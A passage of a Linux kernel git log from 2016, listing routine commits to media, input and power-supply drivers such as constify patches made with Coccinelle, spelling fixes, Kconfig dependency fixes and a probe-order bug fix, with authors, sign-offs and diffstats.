52a1b4e93518c7625fa9756637e54400637ad7ec Author: Niklas Söderlund Date: Fri Sep 2 13:44:58 2016 -0300 [media] media: rcar-vin: allow field to be changed The driver forced whatever field was set by the source subdevice to be used. This patch allows the user to change from the default field. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-v4l2.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 7e13a8a45e3ec1c712f1f3995f7f3daf7fa07ecc Author: Niklas Söderlund Date: Fri Sep 2 13:44:57 2016 -0300 [media] media: rcar-vin: make V4L2_FIELD_INTERLACED standard dependent The field V4L2_FIELD_INTERLACED is standard dependent and should not unconditionally be equivalent to V4L2_FIELD_INTERLACED_TB. This patch adds a check to see if the video standard can be obtained and if it's a 60 Hz format. If the condition is met V4L2_FIELD_INTERLACED is treated as V4L2_FIELD_INTERLACED_BT if not as V4L2_FIELD_INTERLACED_TB. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/rcar-vin/rcar-dma.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit e0ad7a9b90a7a6fc077c975dbbb00142c0a28645 Author: Niklas Söderlund Date: Fri Sep 2 13:44:56 2016 -0300 [media] media: adv7180: fill in mbus format in set_fmt If the V4L2_SUBDEV_FORMAT_TRY is used in set_fmt the width, height etc would not be filled. Signed-off-by: Niklas Söderlund Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/adv7180.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 6de690dd4e78b1bfd8e6777905203e55649d4d52 Author: Niklas Söderlund Date: Fri Sep 2 12:37:06 2016 -0300 [media] adv7180: rcar-vin: change mbus format to UYVY The media bus format reported by the adv7180 is wrong. Steve Longerbeam posted a patch which changed the format to UYVY8_2X8 with the commit message: Change the media bus format from YUYV8_2X8 to UYVY8_2X8. Colors now look correct when capturing with the i.mx6 backend. The other option is to set the SWPC bit in register 0x27 to swap the Cr and Cb output samples. The rcar-vin driver was developed and tested with the adv7180 and therefor suffers from the same issue, looking for the wrong media bus format. The two errors corrected each other. This patch takes Steve's patch and merge it with a fix for rcar-vin driver. The rcar-vin driver is used used in together with the adv7180 och Koelsch and this ensures it will not break while fixing the adv7180 issue. I checked wit Steve and he was fine with me merging the patches. ADV7180 parts: Signed-off-by: Niklas Söderlund Suggested-by: Steve Longerbeam Signed-off-by: Steve Longerbeam Acked-by: Lars-Peter Clausen Tested-by: Tim Harvey Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/adv7180.c | 4 ++-- drivers/media/platform/rcar-vin/rcar-core.c | 4 ++-- drivers/media/platform/rcar-vin/rcar-dma.c | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) commit f429b56a7f8037ce58cf258b3bce182e376438c7 Author: Hans Verkuil Date: Mon Aug 1 04:54:24 2016 -0300 [media] soc-camera/rcar-vin: remove obsolete driver This driver has been replaced by the non-soc-camera rcar-vin driver. The soc-camera framework is being deprecated, so drop this older rcar-vin driver in favor of the newer version that does not rely on this deprecated framework. Signed-off-by: Hans Verkuil Cc: Guennadi Liakhovetski Cc: Niklas Söderlund Acked-by: Laurent Pinchart Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/soc_camera/Kconfig | 10 - drivers/media/platform/soc_camera/Makefile | 1 - drivers/media/platform/soc_camera/rcar_vin.c | 1968 -------------------------- 3 files changed, 1979 deletions(-) commit 19de16c045e1b82a3e80832c9bd90f78b2693832 Author: Hans Verkuil Date: Fri Sep 16 05:23:53 2016 -0300 [media] hva: fix sparse warnings drivers/media/platform/sti/hva/hva-v4l2.c:43:22: warning: symbol 'hva_encoders' was not declared. Should it be static? drivers/media/platform/sti/hva/hva-v4l2.c:1401:24: warning: symbol 'hva_driver' was not declared. Should it be static? Make these static. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/sti/hva/hva-v4l2.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 56e247a55a6bf256714e6bc46bd176341bce52aa Author: Julia Lawall Date: Sun Sep 11 11:44:14 2016 -0300 [media] mxl111sf-tuner: constify dvb_tuner_ops structures These structures are only used to copy into other structures, so declare them as const. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct dvb_tuner_ops i@p = { ... }; @ok1@ identifier r.i; expression e; position p; @@ e = i@p @ok2@ identifier r.i; expression e1, e2; position p; @@ memcpy(e1, &i@p, e2) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct dvb_tuner_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct dvb_tuner_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb-v2/mxl111sf-tuner.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cafddc652cdb9aa81f7319001e42d755bf956c9d Author: Baoyou Xie Date: Sun Sep 4 03:41:41 2016 -0300 [media] staging: media: omap4iss: mark omap4iss_flush() static We get 1 warning when building kernel with W=1: drivers/staging/media/omap4iss/iss.c:64:6: warning: no previous prototype for 'omap4iss_flush' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks this function with 'static'. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Acked-by: Laurent Pinchart Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/omap4iss/iss.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f86548cf53970abd5eed75e55e635dc77e90fd04 Author: Colin Ian King Date: Thu Sep 1 08:09:41 2016 -0300 [media] lgdt3306a: fix spelling mistake "supportted" -> "supported" Trivial fix to spelling mistake in pr_warn message. Signed-off-by: Colin Ian King Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/lgdt3306a.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1c195cb1def158a390669fb4a3989092b413e0c7 Author: Colin Ian King Date: Thu Sep 1 08:03:14 2016 -0300 [media] rc/streamzap: fix spelling mistake "sumbiting" -> "submitting" Trivial fix to spelling mistake in dev_err message. Signed-off-by: Colin Ian King Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/streamzap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 78f2c50bb4e1884318542cc5f674afb106555273 Author: Julia Lawall Date: Mon Aug 29 10:12:01 2016 -0300 [media] constify i2c_algorithm structures These i2c_algorithm structures are only stored in the alg field of an i2c_adapter structure, which is declared as const. This declare the structures as const as well. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct i2c_algorithm i@p = { ... }; @ok@ identifier r.i; struct i2c_adapter e; position p; @@ e.alg = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; @@ i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct i2c_algorithm i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/cx23885/cx23885-i2c.c | 2 +- drivers/media/pci/cx25821/cx25821-i2c.c | 2 +- drivers/media/pci/ivtv/ivtv-i2c.c | 2 +- drivers/media/pci/saa7134/saa7134-i2c.c | 2 +- drivers/media/pci/saa7164/saa7164-i2c.c | 2 +- drivers/media/radio/si4713/radio-usb-si4713.c | 2 +- drivers/media/usb/cx231xx/cx231xx-i2c.c | 2 +- drivers/media/usb/em28xx/em28xx-i2c.c | 2 +- drivers/media/usb/go7007/go7007-i2c.c | 2 +- drivers/media/usb/go7007/go7007-usb.c | 2 +- drivers/media/usb/hdpvr/hdpvr-i2c.c | 2 +- drivers/media/usb/stk1160/stk1160-i2c.c | 2 +- 12 files changed, 12 insertions(+), 12 deletions(-) commit f3c4a8f8d8eb3ed97bccf4776079af3ec5daa147 Author: Nick Dyer Date: Thu Sep 15 17:30:43 2016 -0300 [media] Input: v4l-touch - add copyright lines Add copyright lines for Zodiac who paid for the V4L touch work. Signed-off-by: Nick Dyer Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/input/rmi4/rmi_f54.c | 1 + drivers/input/touchscreen/atmel_mxt_ts.c | 1 + 2 files changed, 2 insertions(+) commit d1463e52003033cf936182b02ae60d9c066000de Author: Arnd Bergmann Date: Mon Sep 12 12:34:57 2016 -0300 [media] usb: gadget: uvc: add V4L2 dependency Building the UVC gadget into the kernel fails to build when CONFIG_VIDEO_V4L2 is a loadable module: drivers/usb/gadget/function/usb_f_uvc.o: In function `uvc_function_ep0_complete': uvc_configfs.c:(.text.uvc_function_ep0_complete+0x84): undefined reference to `v4l2_event_queue' drivers/usb/gadget/function/usb_f_uvc.o: In function `uvc_function_disable': uvc_configfs.c:(.text.uvc_function_disable+0x34): undefined reference to `v4l2_event_queue' Adding a dependency in USB_CONFIGFS_F_UVC (which is a bool symbol) make the 'select USB_F_UVC' statement turn the USB_F_UVC into 'm' whenever CONFIG_VIDEO_V4L2=m too, avoiding the link failure. Signed-off-by: Arnd Bergmann Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/usb/gadget/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 7531be5cdfb1e81d25c299be0bcf8e615474e227 Author: Arvind Yadav Date: Wed Sep 14 16:35:31 2016 +0530 power: reset: zx-reboot: Unmap region obtained by of_iomap Free memory mapping, if probe is not successful. Signed-off-by: Arvind Yadav Signed-off-by: Sebastian Reichel drivers/power/reset/zx-reboot.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit b7e5063589646f95520bc21d1c87c96671bd5101 Author: Arnd Bergmann Date: Mon Sep 12 12:32:58 2016 -0300 [media] atmel-isc: mark PM functions as __maybe_unused The newly added atmel-isc driver uses SET_RUNTIME_PM_OPS() to refer to its suspend/resume functions, causing a warning when CONFIG_PM is not set: media/platform/atmel/atmel-isc.c:1477:12: error: 'isc_runtime_resume' defined but not used [-Werror=unused-function] media/platform/atmel/atmel-isc.c:1467:12: error: 'isc_runtime_suspend' defined but not used [-Werror=unused-function] This adds __maybe_unused annotations to avoid the warning without adding an error-prone #ifdef around it. Signed-off-by: Arnd Bergmann Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/atmel/atmel-isc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 37f0644f3a5648e6c081587e05df0572e33c70a6 Author: Arnd Bergmann Date: Mon Sep 12 12:32:57 2016 -0300 [media] ad5820: use __maybe_unused for PM functions The new ad5820 driver uses #ifdef to hide the suspend/resume functions, but gets it wrong when CONFIG_PM_SLEEP is disabled: drivers/media/i2c/ad5820.c:286:12: error: 'ad5820_resume' defined but not used [-Werror=unused-function] drivers/media/i2c/ad5820.c:274:12: error: 'ad5820_suspend' defined but not used [-Werror=unused-function] This replaces the #ifdef with a __maybe_unused annotation that is simpler and harder to get wrong, avoiding the warning. Fixes: bee3d5115611 ("[media] ad5820: Add driver for auto-focus coil") Signed-off-by: Arnd Bergmann Acked-by: Pavel Machek Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/ad5820.c | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) commit 47d8e00ca3f9269498b4333d5c787f1442ebdbb6 Author: Arnd Bergmann Date: Mon Sep 12 12:30:33 2016 -0300 [media] Input: synaptics-rmi4: disallow impossible configuration The newly added debug mode for the synaptics-rmi4 driver relies on the v4l2 interface and vb2_vmalloc, but those might be configured as loadable modules when the driver itself is built-in, resulting in a link failure: drivers/input/rmi4/rmi_core.o: In function `rmi_f54_remove': rmi_f54.c:(.text.rmi_f54_remove+0x14): undefined reference to `video_unregister_device' rmi_f54.c:(.text.rmi_f54_remove+0x20): undefined reference to `v4l2_device_unregister' drivers/input/rmi4/rmi_core.o: In function `rmi_f54_vidioc_s_input': rmi_f54.c:(.text.rmi_f54_vidioc_s_input+0x10): undefined reference to `video_devdata' drivers/input/rmi4/rmi_core.o: In function `rmi_f54_vidioc_g_input': rmi_f54.c:(.text.rmi_f54_vidioc_g_input+0x10): undefined reference to `video_devdata' drivers/input/rmi4/rmi_core.o: In function `rmi_f54_vidioc_fmt': rmi_f54.c:(.text.rmi_f54_vidioc_fmt+0x10): undefined reference to `video_devdata' drivers/input/rmi4/rmi_core.o: In function `rmi_f54_vidioc_enum_input': rmi_f54.c:(.text.rmi_f54_vidioc_enum_input+0x10): undefined reference to `video_devdata' drivers/input/rmi4/rmi_core.o: In function `rmi_f54_vidioc_querycap': ... The best workaround I could come up with is to disallow the debug mode unless it's actually possible to call it. Fixes: 3a762dbd5347 ("[media] Input: synaptics-rmi4 - add support for F54 diagnostics") Signed-off-by: Arnd Bergmann Acked-by: Nick Dyer Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/input/rmi4/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7a4b9a29f8e5e16c28dbc56a8d2da7b6b3e482c7 Author: Arnd Bergmann Date: Mon Sep 12 12:30:32 2016 -0300 [media] Input: atmel_mxt: disallow impossible configuration The newnly added debug mode for the atmel_mxt_ts driver relies on the v4l2 interface and vb2_vmalloc, but those might be configured as loadable modules when the driver itself is built-in, resulting in a link failure: drivers/input/touchscreen/atmel_mxt_ts.o: In function `mxt_vidioc_querycap': atmel_mxt_ts.c:(.text.mxt_vidioc_querycap+0x10): undefined reference to `video_devdata' drivers/input/touchscreen/atmel_mxt_ts.o: In function `mxt_buffer_queue': atmel_mxt_ts.c:(.text.mxt_buffer_queue+0x20): undefined reference to `vb2_plane_vaddr' atmel_mxt_ts.c:(.text.mxt_buffer_queue+0x164): undefined reference to `vb2_buffer_done' drivers/input/touchscreen/atmel_mxt_ts.o: In function `mxt_free_object_table': atmel_mxt_ts.c:(.text.mxt_free_object_table+0x18): undefined reference to `video_unregister_device' atmel_mxt_ts.c:(.text.mxt_free_object_table+0x20): undefined reference to `v4l2_device_unregister' The best workaround I could come up with is to disallow the debug mode unless it's actually possible to call it. Fixes: ecfdd7e2660e ("[media] Input: atmel_mxt_ts - output diagnostic debug via V4L2 device") Signed-off-by: Arnd Bergmann Acked-by: Nick Dyer Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/input/touchscreen/Kconfig | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 896af83ef69b0a325816fe270440baa27238f531 Author: Arvind Yadav Date: Wed Sep 14 16:25:39 2016 +0530 power: reset: xgene-reboot: Unmap region obtained by of_iomap Free memory mapping, if probe is not successful. Signed-off-by: Arvind Yadav Signed-off-by: Sebastian Reichel drivers/power/reset/xgene-reboot.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 96105144475eeafa8445d2f9f3077a39dd7369a5 Author: Julia Lawall Date: Sun Sep 11 11:44:13 2016 -0300 [media] tuners: constify dvb_tuner_ops structures These structures are only used to copy into other structures, so declare them as const. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct dvb_tuner_ops i@p = { ... }; @ok1@ identifier r.i; expression e; position p; @@ e = i@p @ok2@ identifier r.i; expression e1, e2; position p; @@ memcpy(e1, &i@p, e2) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct dvb_tuner_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct dvb_tuner_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/tuners/mt2063.c | 2 +- drivers/media/tuners/mt20xx.c | 4 ++-- drivers/media/tuners/mxl5007t.c | 2 +- drivers/media/tuners/tda827x.c | 4 ++-- drivers/media/tuners/tea5761.c | 2 +- drivers/media/tuners/tea5767.c | 2 +- drivers/media/tuners/tuner-simple.c | 2 +- 7 files changed, 9 insertions(+), 9 deletions(-) commit 14c4bf3c6f7d76d2b2b50cc82f6830d6948f6faa Author: Julia Lawall Date: Sun Sep 11 11:44:12 2016 -0300 [media] dvb-frontends: constify dvb_tuner_ops structures These structures are only used to copy into other structures, so declare them as const. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct dvb_tuner_ops i@p = { ... }; @ok1@ identifier r.i; expression e; position p; @@ e = i@p @ok2@ identifier r.i; expression e1, e2; position p; @@ memcpy(e1, &i@p, e2) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct dvb_tuner_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct dvb_tuner_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/ascot2e.c | 2 +- drivers/media/dvb-frontends/dvb-pll.c | 2 +- drivers/media/dvb-frontends/helene.c | 4 ++-- drivers/media/dvb-frontends/horus3a.c | 2 +- drivers/media/dvb-frontends/ix2505v.c | 2 +- drivers/media/dvb-frontends/stb6000.c | 2 +- drivers/media/dvb-frontends/stb6100.c | 2 +- drivers/media/dvb-frontends/stv6110.c | 2 +- drivers/media/dvb-frontends/stv6110x.c | 2 +- drivers/media/dvb-frontends/tda18271c2dd.c | 2 +- drivers/media/dvb-frontends/tda665x.c | 2 +- drivers/media/dvb-frontends/tda8261.c | 2 +- drivers/media/dvb-frontends/tda826x.c | 2 +- drivers/media/dvb-frontends/ts2020.c | 2 +- drivers/media/dvb-frontends/tua6100.c | 2 +- drivers/media/dvb-frontends/zl10036.c | 2 +- drivers/media/dvb-frontends/zl10039.c | 2 +- 17 files changed, 18 insertions(+), 18 deletions(-) commit db83d08dee3324dc8b0bf0d02ba295ba25a01758 Author: Julia Lawall Date: Sun Sep 11 10:05:55 2016 -0300 [media] constify local structures For structure types defined in the same file or local header files, find top-level static structure declarations that have the following properties: 1. Never reassigned. 2. Address never taken 3. Not passed to a top-level macro call 4. No pointer or array-typed field passed to a function or stored in a variable. Declare structures having all of these properties as const. Done using Coccinelle. Based on a suggestion by Joe Perches . Signed-off-by: Julia Lawall Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/tvp514x.c | 2 +- drivers/media/pci/ddbridge/ddbridge-core.c | 18 +++++++++--------- drivers/media/pci/ngene/ngene-cards.c | 14 +++++++------- drivers/media/pci/smipcie/smipcie-main.c | 8 ++++---- 4 files changed, 21 insertions(+), 21 deletions(-) commit f04f7aef7f6aafdc0ba54c6b9670cd11f9d9200a Author: Masahiro Yamada Date: Tue Sep 13 03:23:21 2016 +0900 power: supply: ab8500: cleanup with list_first_entry_or_null() The combo of list_empty() check and return list_first_entry() can be replaced with list_first_entry_or_null(). Signed-off-by: Masahiro Yamada Signed-off-by: Sebastian Reichel drivers/power/supply/ab8500_fg.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 10accd2e6890b57db8e717e9aee91b791f90fe14 Author: Julia Lawall Date: Thu Sep 8 20:59:18 2016 -0300 [media] pci: constify vb2_ops structures Check for vb2_ops structures that are only stored in the ops field of a vb2_queue structure. That field is declared const, so vb2_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct vb2_ops i@p = { ... }; @ok@ identifier r.i; struct vb2_queue e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct vb2_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct vb2_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Andrey Utkin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/cx23885/cx23885-417.c | 2 +- drivers/media/pci/cx23885/cx23885-dvb.c | 2 +- drivers/media/pci/cx23885/cx23885-video.c | 2 +- drivers/media/pci/cx25821/cx25821-video.c | 2 +- drivers/media/pci/cx88/cx88-blackbird.c | 2 +- drivers/media/pci/cx88/cx88-dvb.c | 2 +- drivers/media/pci/cx88/cx88-video.c | 2 +- drivers/media/pci/netup_unidvb/netup_unidvb_core.c | 2 +- drivers/media/pci/saa7134/saa7134-empress.c | 2 +- drivers/media/pci/saa7134/saa7134-video.c | 2 +- drivers/media/pci/solo6x10/solo6x10-v4l2-enc.c | 2 +- drivers/media/pci/tw68/tw68-video.c | 2 +- drivers/media/pci/tw686x/tw686x-video.c | 2 +- 13 files changed, 13 insertions(+), 13 deletions(-) commit b7b361f091c3e70e671aa0a9daadb4fb5420f736 Author: Julia Lawall Date: Thu Sep 8 20:59:10 2016 -0300 [media] platform: constify vb2_ops structures Check for vb2_ops structures that are only stored in the ops field of a vb2_queue structure. That field is declared const, so vb2_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct vb2_ops i@p = { ... }; @ok@ identifier r.i; struct vb2_queue e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct vb2_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct vb2_ops i = { ... }; // Signed-off-by: Julia Lawall Reviewed-by: Laurent Pinchart Reviewed-by: Fabien Dessenne Reviewed-by: Jacek Anaszewski Reviewed-by: Benoit Parrot [hans.verkuil@cisco.com: dropped soc_camera/rcar_vin.c patch because that driver will be removed] Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/exynos-gsc/gsc-m2m.c | 2 +- drivers/media/platform/exynos4-is/fimc-capture.c | 2 +- drivers/media/platform/exynos4-is/fimc-m2m.c | 2 +- drivers/media/platform/m2m-deinterlace.c | 2 +- drivers/media/platform/mtk-vcodec/mtk_vcodec_enc.c | 2 +- drivers/media/platform/mx2_emmaprp.c | 2 +- drivers/media/platform/rcar-vin/rcar-dma.c | 2 +- drivers/media/platform/rcar_jpu.c | 2 +- drivers/media/platform/s5p-g2d/g2d.c | 2 +- drivers/media/platform/s5p-jpeg/jpeg-core.c | 2 +- drivers/media/platform/sh_vou.c | 2 +- drivers/media/platform/soc_camera/atmel-isi.c | 2 +- drivers/media/platform/soc_camera/sh_mobile_ceu_camera.c | 2 +- drivers/media/platform/sti/bdisp/bdisp-v4l2.c | 2 +- drivers/media/platform/ti-vpe/cal.c | 2 +- drivers/media/platform/ti-vpe/vpe.c | 2 +- drivers/media/platform/vim2m.c | 2 +- drivers/media/platform/xilinx/xilinx-dma.c | 2 +- 18 files changed, 18 insertions(+), 18 deletions(-) commit 1bc177174b97e4df8d27b6c3cdd79ffea9e2d18e Author: Julia Lawall Date: Thu Sep 8 20:59:01 2016 -0300 [media] usb: constify vb2_ops structures Check for vb2_ops structures that are only stored in the ops field of a vb2_queue structure. That field is declared const, so vb2_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct vb2_ops i@p = { ... }; @ok@ identifier r.i; struct vb2_queue e; position p; @@ e.ops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct vb2_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct vb2_ops i = { ... }; // Signed-off-by: Julia Lawall Reviewed-by: Laurent Pinchart Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/airspy/airspy.c | 2 +- drivers/media/usb/au0828/au0828-video.c | 2 +- drivers/media/usb/em28xx/em28xx-video.c | 2 +- drivers/media/usb/go7007/go7007-v4l2.c | 2 +- drivers/media/usb/hackrf/hackrf.c | 2 +- drivers/media/usb/msi2500/msi2500.c | 2 +- drivers/media/usb/pwc/pwc-if.c | 2 +- drivers/media/usb/s2255/s2255drv.c | 2 +- drivers/media/usb/stk1160/stk1160-v4l.c | 2 +- drivers/media/usb/usbtv/usbtv-video.c | 2 +- drivers/media/usb/uvc/uvc_queue.c | 2 +- 11 files changed, 11 insertions(+), 11 deletions(-) commit 6dca6cf072038ecd591789cfd94accc6fc053300 Author: Javier Martinez Canillas Date: Thu Sep 8 10:05:40 2016 -0300 [media] ov9650: add support for asynchronous probing Allow the sub-device to be probed asynchronously so a bridge driver that's waiting for the device can be notified and its .bound callback executed. Signed-off-by: Javier Martinez Canillas Tested-by: H . Nikolaus Schaller Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/ov9650.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 1dff6ce0262bc42beb801527bd4725c6b8af0683 Author: Colin Ian King Date: Mon Sep 12 14:05:04 2016 +0100 power: reset: add in missing white space in error message text A dev_err message spans two lines and the literal string is missing a white space between words. Add the white space. Signed-off-by: Colin Ian King Signed-off-by: Sebastian Reichel drivers/power/reset/keystone-reset.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 22511cfa7d98d5fec6086b3bae130caaf6b661fa Author: Julia Lawall Date: Wed Sep 7 21:59:06 2016 -0300 [media] usb: constify snd_pcm_ops structures Check for snd_pcm_ops structures that are only stored in the ops field of a snd_soc_platform_driver structure or passed as the third argument to snd_pcm_set_ops. The corresponding field or parameter is declared const, so snd_pcm_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct snd_pcm_ops i@p = { ... }; @ok1@ identifier r.i; struct snd_soc_platform_driver e; position p; @@ e.ops = &i@p; @ok2@ identifier r.i; expression e1, e2; position p; @@ snd_pcm_set_ops(e1, e2, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct snd_pcm_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct snd_pcm_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-audio.c | 2 +- drivers/media/usb/em28xx/em28xx-audio.c | 2 +- drivers/media/usb/go7007/snd-go7007.c | 2 +- drivers/media/usb/tm6000/tm6000-alsa.c | 2 +- drivers/media/usb/usbtv/usbtv-audio.c | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) commit 5c8d8c0192385f448320f6b3bd00b3aaf68ab74f Author: Julia Lawall Date: Wed Sep 7 21:44:39 2016 -0300 [media] pci: constify snd_pcm_ops structures Check for snd_pcm_ops structures that are only stored in the ops field of a snd_soc_platform_driver structure or passed as the third argument to snd_pcm_set_ops. The corresponding field or parameter is declared const, so snd_pcm_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct snd_pcm_ops i@p = { ... }; @ok1@ identifier r.i; struct snd_soc_platform_driver e; position p; @@ e.ops = &i@p; @ok2@ identifier r.i; expression e1, e2; position p; @@ snd_pcm_set_ops(e1, e2, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct snd_pcm_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct snd_pcm_ops i = { ... }; // Signed-off-by: Julia Lawall Acked-by: Andrey Utkin Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/cobalt/cobalt-alsa-pcm.c | 4 ++-- drivers/media/pci/cx18/cx18-alsa-pcm.c | 2 +- drivers/media/pci/cx23885/cx23885-alsa.c | 2 +- drivers/media/pci/cx25821/cx25821-alsa.c | 2 +- drivers/media/pci/cx88/cx88-alsa.c | 2 +- drivers/media/pci/ivtv/ivtv-alsa-pcm.c | 2 +- drivers/media/pci/saa7134/saa7134-alsa.c | 2 +- drivers/media/pci/solo6x10/solo6x10-g723.c | 2 +- drivers/media/pci/tw686x/tw686x-audio.c | 2 +- 9 files changed, 10 insertions(+), 10 deletions(-) commit 17c6d3979e5bbff1de36a4e89015fa09ac495d27 Author: Guenter Roeck Date: Thu Sep 8 19:10:00 2016 -0700 sbs-battery: make writes to ManufacturerAccess optional According to the Smart Battery Data Specification, the use of ManufacturerAcess (register 0x0) is implementation-defined. It appears that some batteries use writes to this register in order to implement certain functionality, but others may simply NAK all writes to it. As a result, write failures to ManufacturerAccess should not be used as an indicator of battery presence, nor as a failure to enter sleep mode. The failed write access was seen with SANYO AP13J3K. Cc: Brian Norris Signed-off-by: Guenter Roeck Signed-off-by: Sebastian Reichel drivers/power/supply/sbs-battery.c | 29 +++++++++++++++-------------- 1 file changed, 15 insertions(+), 14 deletions(-) commit 0610735928ee47870e083d5901caa371089216f1 Author: Georges Savoundararadj Date: Wed Sep 7 18:38:15 2016 -0700 power: bq24257: Fix use of uninitialized pointer bq->charger bq->charger is initialized in bq24257_power_supply_init. Therefore, bq24257_power_supply_init should be called before the registration of the IRQ handler bq24257_irq_handler_thread that calls power_supply_changed(bq->charger). Signed-off-by: Georges Savoundararadj Cc: Aurelien Chanot Cc: Andreas Dannenberg Cc: Sebastian Reichel Cc: David Woodhouse Fixes: 2219a935963e ("power_supply: Add TI BQ24257 charger driver") Signed-off-by: Sebastian Reichel drivers/power/supply/bq24257_charger.c | 12 